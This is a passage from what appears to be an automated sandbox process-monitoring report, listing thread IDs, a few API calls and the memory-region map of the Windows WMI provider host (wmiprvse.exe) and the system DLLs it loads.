Thread: id = 85 os_tid = 0x870 Thread: id = 86 os_tid = 0x82c Thread: id = 87 os_tid = 0x814 Thread: id = 88 os_tid = 0x5c0 Thread: id = 89 os_tid = 0x518 Thread: id = 90 os_tid = 0x284 Thread: id = 91 os_tid = 0x4b4 Thread: id = 92 os_tid = 0x6dc Thread: id = 93 os_tid = 0x428 Thread: id = 94 os_tid = 0x7fc [0300.351] LocalFree (hMem=0x9b1f850) returned 0x0 [0300.353] free (_Block=0x9ac1820) Thread: id = 95 os_tid = 0x778 Thread: id = 96 os_tid = 0x728 Thread: id = 97 os_tid = 0x6e0 Thread: id = 98 os_tid = 0x54c Thread: id = 99 os_tid = 0x4f0 Thread: id = 100 os_tid = 0x450 Thread: id = 101 os_tid = 0x448 Thread: id = 102 os_tid = 0x430 Thread: id = 103 os_tid = 0x420 Thread: id = 104 os_tid = 0x170 Thread: id = 105 os_tid = 0x3ec Thread: id = 106 os_tid = 0x33c Thread: id = 107 os_tid = 0x214 Thread: id = 108 os_tid = 0x188 Thread: id = 149 os_tid = 0x5d4 Thread: id = 150 os_tid = 0x3b4 Thread: id = 151 os_tid = 0x880 Thread: id = 177 os_tid = 0xedc Thread: id = 178 os_tid = 0xa6c Thread: id = 179 os_tid = 0xf10 Thread: id = 222 os_tid = 0x13a4 Thread: id = 231 os_tid = 0x1460 Thread: id = 232 os_tid = 0xfb8 Thread: id = 233 os_tid = 0x151c Thread: id = 293 os_tid = 0x10b4 Thread: id = 301 os_tid = 0x1140 Thread: id = 302 os_tid = 0x1144 Thread: id = 303 os_tid = 0x1148 Thread: id = 304 os_tid = 0x114c Thread: id = 305 os_tid = 0x1150 Thread: id = 306 os_tid = 0x1154 Thread: id = 307 os_tid = 0x1158 Thread: id = 308 os_tid = 0x115c Thread: id = 309 os_tid = 0x11bc Thread: id = 310 os_tid = 0x11c0 Thread: id = 315 os_tid = 0x11dc Thread: id = 320 os_tid = 0x12c8 Thread: id = 321 os_tid = 0x690 Thread: id = 322 os_tid = 0x59c Thread: id = 329 os_tid = 0xea0 Thread: id = 397 os_tid = 0x14e4 Thread: id = 417 os_tid = 0x1254 Thread: id = 418 os_tid = 0x1250 Process: id = "4" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5ef51000" os_pid = "0xf20" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e990" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x310" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "S-1-5-80-2949785411-1458004381-4011503523-1439849274-3428788682" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "S-1-5-80-1139522462-2689595747-457373284-4037083511-4201549542" [0xa], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xe], "S-1-5-80-3577588319-513283748-931039988-2701962192-2148388740" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bdae" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1572 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1573 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1574 start_va = 0x30000 end_va = 0x4cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1575 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1576 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1577 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1578 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1579 start_va = 0x100000 end_va = 0x1c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1580 start_va = 0x1d0000 end_va = 0x1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1581 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1582 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1583 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1584 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1585 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1586 start_va = 0x490000 end_va = 0x497fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1587 start_va = 0x4a0000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 1588 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1589 start_va = 0x580000 end_va = 0x580fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1590 start_va = 0x590000 end_va = 0x594fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1591 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1592 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1593 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1594 start_va = 0x5d0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1595 start_va = 0x6d0000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1596 start_va = 0x860000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1597 start_va = 0x870000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1598 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1599 start_va = 0x890000 end_va = 0xbc7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1600 start_va = 0xbd0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 1601 start_va = 0xdd0000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1602 start_va = 0xe50000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 1603 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 1604 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1605 start_va = 0x10d0000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 1606 start_va = 0x1150000 end_va = 0x1151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mofd.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\mofd.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\mofd.dll.mui") Region: id = 1607 start_va = 0x1160000 end_va = 0x1169fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "combase.dll.mui" filename = "\\Windows\\System32\\en-US\\combase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\combase.dll.mui") Region: id = 1608 start_va = 0x1250000 end_va = 0x1251fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001250000" filename = "" Region: id = 1609 start_va = 0x1270000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 1610 start_va = 0x13c0000 end_va = 0x13cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1611 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1612 start_va = 0x1450000 end_va = 0x158efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1613 start_va = 0x17b0000 end_va = 0x19affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 1614 start_va = 0x19b0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 1615 start_va = 0x1fd0000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1616 start_va = 0x7ffe0000 end_va = 0x7ffe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1617 start_va = 0x7ff4fde90000 end_va = 0x7ff4fdf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff4fde90000" filename = "" Region: id = 1618 start_va = 0x7ff4fdf90000 end_va = 0x7ff5fdfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff4fdf90000" filename = "" Region: id = 1619 start_va = 0x7ff5fdfb0000 end_va = 0x7ff5fffb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fdfb0000" filename = "" Region: id = 1620 start_va = 0x7ff5fffc0000 end_va = 0x7ff5fffc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffc0000" filename = "" Region: id = 1621 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 1622 start_va = 0x7ff708950000 end_va = 0x7ff7089cdfff monitored = 0 entry_point = 0x7ff708962580 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1623 start_va = 0x7fffac9c0000 end_va = 0x7fffaca75fff monitored = 0 entry_point = 0x7fffaca34980 region_type = mapped_file name = "devinv.dll" filename = "\\Windows\\System32\\devinv.dll" (normalized: "c:\\windows\\system32\\devinv.dll") Region: id = 1624 start_va = 0x7fffaca80000 end_va = 0x7fffacb41fff monitored = 0 entry_point = 0x7fffaca86710 region_type = mapped_file name = "aeinv.dll" filename = "\\Windows\\System32\\aeinv.dll" (normalized: "c:\\windows\\system32\\aeinv.dll") Region: id = 1625 start_va = 0x7fffacb50000 end_va = 0x7fffacbd3fff monitored = 1 entry_point = 0x7fffacba09d0 region_type = mapped_file name = "invagent.dll" filename = "\\Windows\\System32\\invagent.dll" (normalized: "c:\\windows\\system32\\invagent.dll") Region: id = 1626 start_va = 0x7fffadb70000 end_va = 0x7fffade9afff monitored = 0 entry_point = 0x7fffadcb4ed0 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1627 start_va = 0x7fffb2f90000 end_va = 0x7fffb2fd4fff monitored = 0 entry_point = 0x7fffb2fb9e70 region_type = mapped_file name = "mofd.dll" filename = "\\Windows\\System32\\wbem\\mofd.dll" (normalized: "c:\\windows\\system32\\wbem\\mofd.dll") Region: id = 1628 start_va = 0x7fffb41d0000 end_va = 0x7fffb420bfff monitored = 1 entry_point = 0x7fffb41d9d70 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 1629 start_va = 0x7fffb4300000 end_va = 0x7fffb4317fff monitored = 0 entry_point = 0x7fffb4305be0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1630 start_va = 0x7fffb4750000 end_va = 0x7fffb4777fff monitored = 0 entry_point = 0x7fffb4759440 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1631 start_va = 0x7fffb4780000 end_va = 0x7fffb4793fff monitored = 0 entry_point = 0x7fffb4781800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1632 start_va = 0x7fffb47a0000 end_va = 0x7fffb481cfff monitored = 0 entry_point = 0x7fffb47b5a80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1633 start_va = 0x7fffb4820000 end_va = 0x7fffb492afff monitored = 0 entry_point = 0x7fffb4855c10 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1634 start_va = 0x7fffb4d40000 end_va = 0x7fffb4d50fff monitored = 0 entry_point = 0x7fffb4d42aa0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1635 start_va = 0x7fffb4ef0000 end_va = 0x7fffb502bfff monitored = 0 entry_point = 0x7fffb4efadf0 region_type = mapped_file name = "drvstore.dll" filename = "\\Windows\\System32\\drvstore.dll" (normalized: "c:\\windows\\system32\\drvstore.dll") Region: id = 1636 start_va = 0x7fffb6380000 end_va = 0x7fffb63c8fff monitored = 0 entry_point = 0x7fffb6383550 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 1637 start_va = 0x7fffb7ee0000 end_va = 0x7fffb7f6afff monitored = 0 entry_point = 0x7fffb7ef7060 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1638 start_va = 0x7fffb8a70000 end_va = 0x7fffb8a7afff monitored = 0 entry_point = 0x7fffb8a73070 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1639 start_va = 0x7fffbc0a0000 end_va = 0x7fffbc0c6fff monitored = 1 entry_point = 0x7fffbc0b6b00 region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 1640 start_va = 0x7fffbceb0000 end_va = 0x7fffbcf92fff monitored = 0 entry_point = 0x7fffbcec49e0 region_type = mapped_file name = "windows.applicationmodel.dll" filename = "\\Windows\\System32\\Windows.ApplicationModel.dll" (normalized: "c:\\windows\\system32\\windows.applicationmodel.dll") Region: id = 1641 start_va = 0x7fffbe330000 end_va = 0x7fffbe3b5fff monitored = 1 entry_point = 0x7fffbe345570 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1642 start_va = 0x7fffbfed0000 end_va = 0x7fffbffd1fff monitored = 0 entry_point = 0x7fffbff157d0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1643 start_va = 0x7fffc3780000 end_va = 0x7fffc37e4fff monitored = 0 entry_point = 0x7fffc3793640 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1644 start_va = 0x7fffc3fc0000 end_va = 0x7fffc40b7fff monitored = 0 entry_point = 0x7fffc3fd73e0 region_type = mapped_file name = "appxdeploymentclient.dll" filename = "\\Windows\\System32\\AppXDeploymentClient.dll" (normalized: "c:\\windows\\system32\\appxdeploymentclient.dll") Region: id = 1645 start_va = 0x7fffc48e0000 end_va = 0x7fffc48f0fff monitored = 0 entry_point = 0x7fffc48e3670 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1646 start_va = 0x7fffc56c0000 end_va = 0x7fffc58c1fff monitored = 0 entry_point = 0x7fffc572d800 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1647 start_va = 0x7fffc5ea0000 end_va = 0x7fffc5ed5fff monitored = 0 entry_point = 0x7fffc5eaf5a0 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1648 start_va = 0x7fffc7e30000 end_va = 0x7fffc7f08fff monitored = 0 entry_point = 0x7fffc7e87a70 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1649 start_va = 0x7fffc8120000 end_va = 0x7fffc8132fff monitored = 0 entry_point = 0x7fffc8123f60 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1650 start_va = 0x7fffc9000000 end_va = 0x7fffc9032fff monitored = 0 entry_point = 0x7fffc9006930 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1651 start_va = 0x7fffc9590000 end_va = 0x7fffc95cafff monitored = 0 entry_point = 0x7fffc959a620 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1652 start_va = 0x7fffc9a70000 end_va = 0x7fffc9a87fff monitored = 0 entry_point = 0x7fffc9a74aa0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1653 start_va = 0x7fffc9d00000 end_va = 0x7fffc9d11fff monitored = 0 entry_point = 0x7fffc9d055f0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1654 start_va = 0x7fffc9ec0000 end_va = 0x7fffc9eebfff monitored = 0 entry_point = 0x7fffc9ec7370 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1655 start_va = 0x7fffca220000 end_va = 0x7fffca26cfff monitored = 0 entry_point = 0x7fffca233280 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1656 start_va = 0x7fffca270000 end_va = 0x7fffca36ffff monitored = 0 entry_point = 0x7fffca285ac0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1657 start_va = 0x7fffca370000 end_va = 0x7fffca479fff monitored = 0 entry_point = 0x7fffca3a1300 region_type = mapped_file name = "gdi32full.dll" filename = "\\Windows\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll") Region: id = 1658 start_va = 0x7fffca480000 end_va = 0x7fffca4fefff monitored = 0 entry_point = 0x7fffca4b73e0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1659 start_va = 0x7fffca500000 end_va = 0x7fffca55ffff monitored = 0 entry_point = 0x7fffca510380 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1660 start_va = 0x7fffca560000 end_va = 0x7fffca5fcfff monitored = 0 entry_point = 0x7fffca575390 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1661 start_va = 0x7fffca600000 end_va = 0x7fffca75cfff monitored = 0 entry_point = 0x7fffca64efa0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1662 start_va = 0x7fffca760000 end_va = 0x7fffca781fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32u.dll" filename = "\\Windows\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll") Region: id = 1663 start_va = 0x7fffca790000 end_va = 0x7fffcaa56fff monitored = 0 entry_point = 0x7fffca7a1bd0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1664 start_va = 0x7fffcaa60000 end_va = 0x7fffcaa86fff monitored = 0 entry_point = 0x7fffcaa68690 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1665 start_va = 0x7fffcad60000 end_va = 0x7fffcad7cfff monitored = 0 entry_point = 0x7fffcad623b0 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 1666 start_va = 0x7fffcad80000 end_va = 0x7fffcae2dfff monitored = 0 entry_point = 0x7fffcadbb940 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1667 start_va = 0x7fffcb2a0000 end_va = 0x7fffcb33afff monitored = 0 entry_point = 0x7fffcb2bc3e0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1668 start_va = 0x7fffcb350000 end_va = 0x7fffcb424fff monitored = 0 entry_point = 0x7fffcb36d190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1669 start_va = 0x7fffcb440000 end_va = 0x7fffcb4fcfff monitored = 0 entry_point = 0x7fffcb457070 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1670 start_va = 0x7fffcb560000 end_va = 0x7fffcb5fdfff monitored = 0 entry_point = 0x7fffcb567850 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1671 start_va = 0x7fffcb600000 end_va = 0x7fffcb6a9fff monitored = 0 entry_point = 0x7fffcb615470 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1672 start_va = 0x7fffcb7a0000 end_va = 0x7fffcb93ffff monitored = 0 entry_point = 0x7fffcb7b7a10 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1673 start_va = 0x7fffcb970000 end_va = 0x7fffcb9c4fff monitored = 0 entry_point = 0x7fffcb97a7e0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1674 start_va = 0x7fffcbae0000 end_va = 0x7fffcbb87fff monitored = 0 entry_point = 0x7fffcbafd990 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1675 start_va = 0x7fffcbb90000 end_va = 0x7fffcbee3fff monitored = 0 entry_point = 0x7fffcbc81d00 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1676 start_va = 0x7fffcbef0000 end_va = 0x7fffcc018fff monitored = 0 entry_point = 0x7fffcbf16140 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1677 start_va = 0x7fffcc020000 end_va = 0x7fffcc08afff monitored = 0 entry_point = 0x7fffcc034300 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1678 start_va = 0x7fffcc090000 end_va = 0x7fffcc7c0fff monitored = 0 entry_point = 0x7fffcc19e6e0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1679 start_va = 0x7fffcc830000 end_va = 0x7fffcc952fff monitored = 0 entry_point = 0x7fffcc88da30 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1680 start_va = 0x7fffcc960000 end_va = 0x7fffcc989fff monitored = 0 entry_point = 0x7fffcc9648d0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1681 start_va = 0x7fffcca30000 end_va = 0x7fffccc23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 109 os_tid = 0x16ec Thread: id = 110 os_tid = 0xe30 Thread: id = 111 os_tid = 0xec4 Thread: id = 112 os_tid = 0xf54 Thread: id = 113 os_tid = 0xf08 [0258.110] DllCanUnloadNow () returned 0x1 [0258.110] DllCanUnloadNow () returned 0x1 [0258.110] DllCanUnloadNow () returned 0x1 [0378.135] DllCanUnloadNow () returned 0x1 [0378.135] DllCanUnloadNow () returned 0x1 [0378.136] DllCanUnloadNow () returned 0x1 Thread: id = 114 os_tid = 0xf34 Thread: id = 115 os_tid = 0xf30 Process: id = "5" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x49897000" os_pid = "0x924" 